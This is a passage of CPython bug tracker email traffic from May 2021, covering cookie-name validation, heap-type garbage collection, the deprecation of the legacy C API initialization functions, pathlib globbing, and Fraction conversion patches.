Cookie name, [3] defines the list of valid characters and [4] is where the exception is raised, I also found that even with the RFC browsers have different rules for the Cookie name definitions, this could be reason why Python has, for example, the ":" character in the list. My conclusion is that the rule for the cookie name is not well-defined, there are some ambiguities here and there, but if we consider purely this case and the RFC, the "/" still is not a valid character for the cookie name, so I guess the best option for you is to filter it out any http.cookies.CookieError that happen. [1] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes [2] https://datatracker.ietf.org/doc/html/rfc2616#section-2.2 [3] https://github.com/python/cpython/blob/main/Lib/http/cookies.py#L162 [4] https://github.com/python/cpython/blob/main/Lib/http/cookies.py#L353 ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:02:25 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Wed, 12 May 2021 18:02:25 +0000 Subject: [issue43813] Denial of service on http.server module with large request method. In-Reply-To: <1618233428.41.0.905190325792.issue43813@roundup.psfhosted.org> Message-ID: <1620842545.16.0.874395511067.issue43813@roundup.psfhosted.org> Jonathan Schweder added the comment: @demonia you are more than welcome to send a PR, sent it and add a reference to this issue, so it could be reviewed. ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:16:08 2021 From: report at bugs.python.org (hai shi) Date: Wed, 12 May 2021 18:16:08 +0000 Subject: [issue41111] [C API] Convert a few stdlib extensions to the limited C API (PEP 384) In-Reply-To: <1593075260.88.0.835474638855.issue41111@roundup.psfhosted.org> Message-ID: <1620843368.36.0.0352899894115.issue41111@roundup.psfhosted.org> hai shi added the comment: > The main limitation to use the limited C API for stdlib is Argument Clinic which attempts to always emit the most efficient code, like using the METH_FASTCALL calling convention and use private functions like _PyArg_CheckPositional() or "static _PyArg_Parser _parser". PR-26080 adds the feature that Argument Clinic to support to use the Limited C API. METH_FASTCALL is the part of the stable ABI in PR-23009. Do we need convert METH_VARARGS and METH_KEYWORDS as the part of the stable ABI too(something like METH_FASTCALL)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:19:07 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 18:19:07 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620843547.62.0.155531267571.issue44116@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24720 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26081 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:20:50 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 18:20:50 +0000 Subject: [issue40645] Use OpenSSL's HMAC API In-Reply-To: <1589641291.33.0.635001105595.issue40645@roundup.psfhosted.org> Message-ID: <1620843650.43.0.129467008603.issue40645@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24721 pull_request: https://github.com/python/cpython/pull/26082 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:45:32 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 18:45:32 +0000 Subject: [issue40645] Use OpenSSL's HMAC API In-Reply-To: <1589641291.33.0.635001105595.issue40645@roundup.psfhosted.org> Message-ID: <1620845132.45.0.682315121613.issue40645@roundup.psfhosted.org> miss-islington added the comment: New changeset 1ee58f252454072a1c9da77999db8e6417a307a0 by Miss Islington (bot) in branch '3.10': bpo-40645: Fix ref leaks in _hashopenssl (GH-26079) https://github.com/python/cpython/commit/1ee58f252454072a1c9da77999db8e6417a307a0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 14:56:28 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 May 2021 18:56:28 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620845788.06.0.976102856546.issue44116@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset ba260acb22f3a6de434dc7a159ddb94a6a8c9b7c by Miss Islington (bot) in branch '3.10': bpo-44116: Add GC support to _csv heap types (GH-26074) (GH-26081) https://github.com/python/cpython/commit/ba260acb22f3a6de434dc7a159ddb94a6a8c9b7c ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 15:09:30 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Wed, 12 May 2021 19:09:30 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620846570.24.0.118900742525.issue40938@roundup.psfhosted.org> Jonathan Schweder added the comment: @op368 I don't think that this is a bug, [1] literally uses this exact example and shows the expected behaviour. [1] https://datatracker.ietf.org/doc/html/rfc3986#section-5.4.2 ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 15:32:53 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 May 2021 19:32:53 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620847973.48.0.774365388378.issue44116@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 15:41:47 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 19:41:47 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620848507.11.0.238702787979.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Pablo, as mentioned in bpo-42972, this is an issue with all heap allocated types; it is not _csv specific. I know that work with heap types have been halted by the SC, as you've pointed out a couple of times already, but shouldn't this heap type issue be fixed before 3.10 is released? There's plenty of time in the beta phase to do this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 15:51:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 May 2021 19:51:11 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620849071.63.0.805681846827.issue44116@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > I know that work with heap types have been halted by the SC, as you've pointed out a couple of times already, but shouldn't this heap type issue be fixed before 3.10 is released? It should absolutely be fixed for all types that have been already converted. The halting is for more types. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 15:51:43 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 May 2021 19:51:43 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1620849103.77.0.599425096296.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm marking this as a 3.10 release blocker untill all converted types that are in 3.10 have GC support. ---------- nosy: +pablogsal priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 16:31:24 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 12 May 2021 20:31:24 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620851484.95.0.398794971596.issue44116@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 17:14:31 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 12 May 2021 21:14:31 +0000 Subject: [issue31753] Unnecessary closure in ast.literal_eval In-Reply-To: <1507672927.75.0.213398074469.issue31753@psf.upfronthosting.co.za> Message-ID: <1620854071.55.0.362553752928.issue31753@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> rejected _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 17:31:16 2021 From: report at bugs.python.org (Marc Udoff) Date: Wed, 12 May 2021 21:31:16 +0000 Subject: [issue44118] cython compiler error Message-ID: <1620855076.33.0.624506762469.issue44118@roundup.psfhosted.org> New submission from Marc Udoff : Hi, The follow gives an unexpected error during compilation: In [1]: %%cython ...: #cython: infer_types=True ...: class A: ...: def f(self): ...: x = max(self.a, self.a) Removing max, or setting infer_types=False, or setting x = None first all make it compile. ---------- components: C API files: cpython_error.txt messages: 393548 nosy: mlucool priority: normal severity: normal status: open title: cython compiler error type: compile error versions: Python 3.7 Added file: https://bugs.python.org/file50039/cpython_error.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 17:38:22 2021 From: report at bugs.python.org (Marc Udoff) Date: Wed, 12 May 2021 21:38:22 +0000 Subject: [issue44118] cython compiler error In-Reply-To: <1620855076.33.0.624506762469.issue44118@roundup.psfhosted.org> Message-ID: <1620855502.11.0.660597302169.issue44118@roundup.psfhosted.org> Marc Udoff added the comment: Wrong forum ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 17:43:09 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 12 May 2021 21:43:09 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620855789.51.0.924668761188.issue44113@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 nosy_count: 3.0 -> 4.0 pull_requests: +24722 pull_request: https://github.com/python/cpython/pull/26083 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 18:00:44 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 22:00:44 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620856844.5.0.182607797876.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: PyConfig API was added to Python 3.8, so it's now widely available. Python 3.8 always switched to security fixes only phase. So IMO it's ok to deprecate the old API now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 18:47:45 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 22:47:45 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620859665.03.0.752850936858.issue44113@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24723 pull_request: https://github.com/python/cpython/pull/26084 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 18:49:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 22:49:09 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620859749.91.0.208549848329.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: """ Check warning on line 82 in Python/frozenmain.c GitHub Actions / Ubuntu ?Py_SetProgramName? is deprecated [-Wdeprecated-declarations] """ Well, Py_FrozenMain() should be rewritten with PyConfig, I want to do that for a long time, but I don't know how to test it. It would be nice to have a very basic test for Py_FrozenMain(). See also: https://mail.python.org/archives/list/capi-sig at python.org/thread/5QLI3NUP3OSGLCCIBAQOTX4GEJQBWJ6F/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 18:55:29 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 22:55:29 +0000 Subject: [issue33809] Expose `capture_locals` parameter in `traceback` convenience functions In-Reply-To: <1528473140.44.0.592728768989.issue33809@psf.upfronthosting.co.za> Message-ID: <1620860129.38.0.845981544915.issue33809@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 19:00:49 2021 From: report at bugs.python.org (Jouke Witteveen) Date: Wed, 12 May 2021 23:00:49 +0000 Subject: [issue15003] make PyNamespace_New() public In-Reply-To: <1338864820.17.0.274736612168.issue15003@psf.upfronthosting.co.za> Message-ID: <1620860449.64.0.835740476027.issue15003@roundup.psfhosted.org> Change by Jouke Witteveen : ---------- nosy: +joukewitteveen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 19:31:39 2021 From: report at bugs.python.org (Dong-hee Na) Date: Wed, 12 May 2021 23:31:39 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620862299.98.0.705115516938.issue44113@roundup.psfhosted.org> Change by Dong-hee Na : ---------- pull_requests: +24724 pull_request: https://github.com/python/cpython/pull/26085 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 20:11:53 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 00:11:53 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620864713.65.0.228189415465.issue44030@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24725 pull_request: https://github.com/python/cpython/pull/26086 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 20:27:15 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 May 2021 00:27:15 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620865635.99.0.148176466809.issue44030@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 6275ea02825731fd23f523058ac87aac53888740 by Miss Islington (bot) in branch '3.10': bpo-44030: Fix formatting error in exceptions docs (GH-25929) (GH-26086) https://github.com/python/cpython/commit/6275ea02825731fd23f523058ac87aac53888740 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 20:27:29 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 13 May 2021 00:27:29 +0000 Subject: [issue44030] Markup with_traceback code example In-Reply-To: <1620123878.12.0.914520648709.issue44030@roundup.psfhosted.org> Message-ID: <1620865649.33.0.617923397528.issue44030@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 20:31:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 May 2021 00:31:40 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620865900.51.0.0652037752265.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: commit 6cd0446ef72c6676b292d7f54b1ddb8ae5e1fb8d Author: Victor Stinner Date: Wed May 12 23:59:25 2021 +0200 bpo-44113: Deprecate old functions to config Python init (GH-26060) Deprecate the following functions to configure the Python initialization: * PySys_AddWarnOption() * PySys_AddWarnOptionUnicode() * PySys_AddXOption() * PySys_HasWarnOptions() * Py_SetPath() * Py_SetProgramName() * Py_SetPythonHome() * Py_SetStandardStreamEncoding() * _Py_SetProgramFullPath() Use the new PyConfig API of the Python Initialization Configuration instead (PEP 587). commit a0ccc404ca649c2a1635511a09df2454e47b4d66 Author: Dong-hee Na Date: Thu May 13 08:22:18 2021 +0900 bpo-44113: Update __xxtestfuzz not to use Py_SetProgramName (GH-26083) commit ec7c09b9bc9a8f333a0295b41ea88986c320448c Author: Victor Stinner Date: Thu May 13 02:27:56 2021 +0200 bpo-44113: Fix compiler warning in PySys_AddWarnOption() (GH-26084) Ignore Py_DEPRECATED() warning on purpose. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 20:34:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 May 2021 00:34:19 +0000 Subject: [issue15003] make PyNamespace_New() public In-Reply-To: <1338864820.17.0.274736612168.issue15003@psf.upfronthosting.co.za> Message-ID: <1620866059.54.0.368789659014.issue15003@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner resolution: -> rejected _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 21:14:26 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 01:14:26 +0000 Subject: [issue39906] pathlib.Path: add `follow_symlinks` argument to `stat()` and `chmod()` In-Reply-To: <1583699719.8.0.302577003742.issue39906@roundup.psfhosted.org> Message-ID: <1620868466.21.0.315775085128.issue39906@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24726 pull_request: https://github.com/python/cpython/pull/26087 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 21:15:37 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 01:15:37 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1620868537.79.0.0928357526367.issue43757@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24727 pull_request: https://github.com/python/cpython/pull/26088 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 21:25:29 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 01:25:29 +0000 Subject: [issue39906] pathlib.Path: add `follow_symlinks` argument to `stat()` and `chmod()` In-Reply-To: <1583699719.8.0.302577003742.issue39906@roundup.psfhosted.org> Message-ID: <1620869129.55.0.546342471699.issue39906@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24728 pull_request: https://github.com/python/cpython/pull/26089 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 21:26:33 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 01:26:33 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1620869193.23.0.861923200262.issue43757@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24729 pull_request: https://github.com/python/cpython/pull/26090 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 21:37:33 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 01:37:33 +0000 Subject: [issue26032] Use scandir() to speed up pathlib globbing In-Reply-To: <1452120927.04.0.31788168865.issue26032@psf.upfronthosting.co.za> Message-ID: <1620869853.83.0.303962497561.issue26032@roundup.psfhosted.org> Change by Barney Gale : ---------- nosy: +barneygale nosy_count: 8.0 -> 9.0 pull_requests: +24730 pull_request: https://github.com/python/cpython/pull/25701 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 22:36:17 2021 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Thu, 13 May 2021 02:36:17 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620873377.92.0.766057668988.issue44115@roundup.psfhosted.org> Vedran ?a?i? added the comment: Absolutely. I think that's a big part of the reason that as_integer_ratio is there. ---------- nosy: +veky _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 00:01:19 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 May 2021 04:01:19 +0000 Subject: [issue44069] pathlib.Path.glob's generator is not a real generator In-Reply-To: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org> Message-ID: <1620878479.16.0.669313990644.issue44069@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 00:30:48 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 May 2021 04:30:48 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620880248.63.0.0654960631902.issue44115@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:17:57 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 13 May 2021 05:17:57 +0000 Subject: [issue43176] Dataclasses derived from empty frozen bases skip immutability checks In-Reply-To: <1612854759.36.0.400211114548.issue43176@roundup.psfhosted.org> Message-ID: <1620883077.7.0.657848315433.issue43176@roundup.psfhosted.org> Change by Eric V. Smith : ---------- assignee: -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:21:42 2021 From: report at bugs.python.org (hai shi) Date: Thu, 13 May 2021 05:21:42 +0000 Subject: [issue40938] urllib.parse.urlunsplit makes relative path to absolute (http:g -> http:///g) In-Reply-To: <1591787928.34.0.800218743026.issue40938@roundup.psfhosted.org> Message-ID: <1620883302.0.0.254025117275.issue40938@roundup.psfhosted.org> Change by hai shi : ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:22:36 2021 From: report at bugs.python.org (Ma Lin) Date: Thu, 13 May 2021 05:22:36 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620883356.93.0.681117267178.issue44114@roundup.psfhosted.org> Change by Ma Lin : ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:24:44 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 05:24:44 +0000 Subject: [issue44098] Remove ParamSpec from __parameters__ of most typing generics In-Reply-To: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org> Message-ID: <1620883484.39.0.0431078642506.issue44098@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24731 pull_request: https://github.com/python/cpython/pull/26091 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:32:04 2021 From: report at bugs.python.org (ra1nb0w) Date: Thu, 13 May 2021 05:32:04 +0000 Subject: [issue44104] http.cookies.CookieError: Illegal key In-Reply-To: <1620671460.12.0.286608999298.issue44104@roundup.psfhosted.org> Message-ID: <1620883924.51.0.568728611315.issue44104@roundup.psfhosted.org> ra1nb0w added the comment: Thank you very much jaswdr for the clarification. Now I close this issue. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 01:35:12 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 05:35:12 +0000 Subject: [issue44119] Use glob.glob() to implement pathlib.Path.glob() Message-ID: <1620884112.13.0.758997041417.issue44119@roundup.psfhosted.org> New submission from Barney Gale : I have a scratchy patch that replaces pathlib's globbing implementation with glob.glob(), which gained a `root_dir` argument in bpo-38144 Encouraging timings: $ ./python -m timeit -s "from pathlib import Path; p = Path()" -- "list(p.glob('**/*'))" Unpatched: 43.2 msec per loop Patched: 4.37 msec per loop $ ./python -m timeit -s "from pathlib import Path; p = Path('/usr/')" -- "list(p.glob('lib*/**/*'))" Unpatched: 248 msec per loop Patched: 56.8 msec per loop $ ./python -m timeit -s "from pathlib import Path; p = Path('/usr/')" -- "list(p.glob('lib*/**/'))" Unpatched: 78.3 msec per loop Patched: 2.23 msec per loop Patch to follow. ---------- components: Library (Lib) messages: 393556 nosy: barneygale priority: normal severity: normal status: open title: Use glob.glob() to implement pathlib.Path.glob() type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 02:00:02 2021 From: report at bugs.python.org (Hiroaki Mizuguchi) Date: Thu, 13 May 2021 06:00:02 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class Message-ID: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> New submission from Hiroaki Mizuguchi : This bug is loading bar.logging.FooBarFormatter is occur "ModuleNotFoundError: No module named 'bar.logging.FooBarFormatter'; 'bar.logging' is not a package" when bar module has 'import logging' directive. logging.config._resolve and logging.config.BaseConfiguration.resolve has the bug. See also my testcase repository: https://github.com/akihiro/python-logging-config-testcase ---------- components: Library (Lib) messages: 393557 nosy: akihiro priority: normal severity: normal status: open title: logging.config.fileConfig/dictConfig can not import class type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 02:02:42 2021 From: report at bugs.python.org (Barney Gale) Date: Thu, 13 May 2021 06:02:42 +0000 Subject: [issue44119] Use glob.glob() to implement pathlib.Path.glob() In-Reply-To: <1620884112.13.0.758997041417.issue44119@roundup.psfhosted.org> Message-ID: <1620885762.04.0.523707524253.issue44119@roundup.psfhosted.org> Barney Gale added the comment: Flawed implementation, timings were bogus. Closing in shame. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:07:25 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 May 2021 07:07:25 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620889645.21.0.615419551188.issue44115@roundup.psfhosted.org> Raymond Hettinger added the comment: Note for posterity: I tried out pattern matching here but it was a little tricky and it slowed down the code a bit. At at least it worked. if denominator is None: match numerator: case int(x) if type(numerator) is int: self._numerator = numerator self._denominator = 1 return self case numbers.Rational(numerator=numerator, denominator=denominator): self._numerator = numerator self._denominator = denominator return self case object(as_integer_ratio=_): self._numerator, self._denominator = numerator.as_integer_ratio() return self case str(x): m = _RATIONAL_FORMAT.match(numerator) if m is None: raise ValueError('Invalid literal for Fraction: %r' % numerator) numerator = int(m.group('num') or '0') denom = m.group('denom') if denom: denominator = int(denom) else: denominator = 1 decimal = m.group('decimal') if decimal: scale = 10**len(decimal) numerator = numerator * scale + int(decimal) denominator *= scale exp = m.group('exp') if exp: exp = int(exp) if exp >= 0: numerator *= 10**exp else: denominator *= 10**-exp if m.group('sign') == '-': numerator = -numerator case _: raise TypeError("argument should be a string " "or a Rational instance") ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:33:32 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 13 May 2021 07:33:32 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620891212.16.0.483135017249.issue44115@roundup.psfhosted.org> Serhiy Storchaka added the comment: It was proposed before in issue37884. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:34:41 2021 From: report at bugs.python.org (Pierre) Date: Thu, 13 May 2021 07:34:41 +0000 Subject: [issue512981] readline /dev/tty problem Message-ID: <1620891281.58.0.965785030498.issue512981@roundup.psfhosted.org> Pierre added the comment: A workaround consists in replacing fd(0) with /dev/tty without modifying sys.stdin import os stdin = os.dup(0) os.close(0) tty = os.open("/dev/tty", os.O_RDONLY) assert tty == 0 import readline print("input:", input()) print("in:", os.read(stdin, 128)) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:42:27 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 13 May 2021 07:42:27 +0000 Subject: [issue44069] pathlib.Path.glob's generator is not a real generator In-Reply-To: <1620402382.41.0.425186476785.issue44069@roundup.psfhosted.org> Message-ID: <1620891747.35.0.608067252139.issue44069@roundup.psfhosted.org> Serhiy Storchaka added the comment: The reason is different. The scandir() iterator should be closed before we go recursively deep in the directory tree. Otherwise we can reach the limit of open file descriptors (especially if several glob()s are called in parallel). See issue22167. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:54:27 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 07:54:27 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620892467.97.0.775308831323.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24732 pull_request: https://github.com/python/cpython/pull/26092 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:54:33 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 07:54:33 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620892473.21.0.347612634649.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24733 pull_request: https://github.com/python/cpython/pull/26093 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 03:55:21 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 07:55:21 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: 